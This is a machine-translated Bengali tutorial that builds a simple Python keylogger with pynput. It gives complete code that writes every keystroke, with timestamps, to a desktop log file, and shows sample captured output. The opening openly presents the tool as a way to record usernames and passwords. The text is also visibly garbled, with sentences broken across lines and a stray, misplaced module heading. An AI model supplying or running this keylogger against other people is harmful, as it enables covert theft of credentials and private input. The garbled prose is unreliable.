এখানে আমরা পাইথন ব্যবহার করে একটি কীলগার তৈরি করতে যাচ্ছি। কিন্তু তার আগে, একটি keylogger কি? Keylogger হল একটি প্রোগ্রাম যার সাহায্যে আমরা কীস্ট্রোক নিরীক্ষণ করি। এই কীস্ট্রোকগুলি একটি লগ ফাইলে সংরক্ষণ করা হবে। আমরা এই কীস্ট্রোক ব্যবহার করে ব্যবহারকারীর নাম এবং পাসওয়ার্ডের মতো সংবেদনশীল তথ্য রেকর্ড করতে পারি।
একটি কীলগার তৈরি করতে আমরা পিনপুট মডিউল ব্যবহার করতে যাচ্ছি। যেহেতু এটি পাইথনের স্ট্যান্ডার্ড লাইব্রেরি নয়, তাই আমাদের এটি ইনস্টল করতে হতে পারে৷
৷পাইক্সহুক মডিউল −
ইনস্টল করা হচ্ছেআমি পিনপুট −
ইনস্টল করতে পিপ ব্যবহার করতে যাচ্ছিpip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
আমাদের ইনস্টলেশন সফল হয়েছে তা পরীক্ষা করতে, আপনার পাইথন শেলের মডিউলটি আমদানি করার চেষ্টা করুন
>>> import pynput >>>
কীলগার তৈরি করা শুরু করুন
প্রয়োজনীয় লাইব্রেরি ইনস্টল হয়ে গেলে, প্রয়োজনীয় প্যাকেজ এবং পদ্ধতি আমদানি করুন। কীবোর্ড নিরীক্ষণ করতে, আমরা pynput.keyboard মডিউলের কী এবং লিসেনার পদ্ধতি ব্যবহার করতে যাচ্ছি। আমরা একটি ফাইলে আমাদের কীস্ট্রোকগুলি লগ করার জন্য লগিং মডিউল ব্যবহার করতে যাচ্ছি৷
from pynput.keyboard import Key, Listener import logging
এর পরে, আমরা আমাদের লগ ফাইলগুলিকে কোথায় সংরক্ষণ করতে যাচ্ছি সেই পথটি সেট করতে যাচ্ছি, লগগুলি কোন মোডে সংরক্ষণ করা হবে এবং বিন্যাস৷
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
তারপরে আমরা ফাংশনটিকে কল করি on_press() যা কীপ্রেসের জন্য একটি সংজ্ঞা তৈরি করে এবং কীটিকে প্যারামিটার হিসাবে গ্রহণ করে।
def on_press(key): logging.info(str(key))
আমরা শেষ যে কাজটি করতে যাচ্ছি তা হল লিসেনারের একটি দৃষ্টান্ত স্থাপন করা এবং এতে on_press পদ্ধতিটি সংজ্ঞায়িত করা এবং তারপরে মূল থ্রেডে দৃষ্টান্ত যোগ করা।
with Listener(on_press=on_press) as listener: listener.join()
উপরে উল্লিখিত পদক্ষেপগুলিকে একত্রিত করার পরে, আমরা আমাদের চূড়ান্ত প্রোগ্রাম −
তৈরি করার পর্যায়ে আছিfrom pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/rajesh/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
যখন আমার স্ক্রিপ্ট চলছে, আমি একটি ব্রাউজার খুলে টাইপ করার চেষ্টা করেছি "হ্যালো ওয়ার্ল্ড, উইকিপিডিয়া"। আসুন দেখি আমাদের লগ ফাইলের কি হয়েছে −
আমি দেখতে পাচ্ছি, আমার কম্পিউটার ডেস্কটপে একটি “keyLog.txt” ফাইল তৈরি করা হয়েছে এবং যদি আমি এর বিষয়বস্তু দেখার চেষ্টা করি তবে আমি −
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
তাই আমরা আমার ব্রাউজারে যা টাইপ করার চেষ্টা করেছি তা দেখতে পাচ্ছি, প্রতিটি কীস্ট্রোক এই ফাইলে সংরক্ষিত আছে। সুতরাং, আমরা এখানে পাইথনে একটি খুব সাধারণ কী লগার তৈরি করেছি।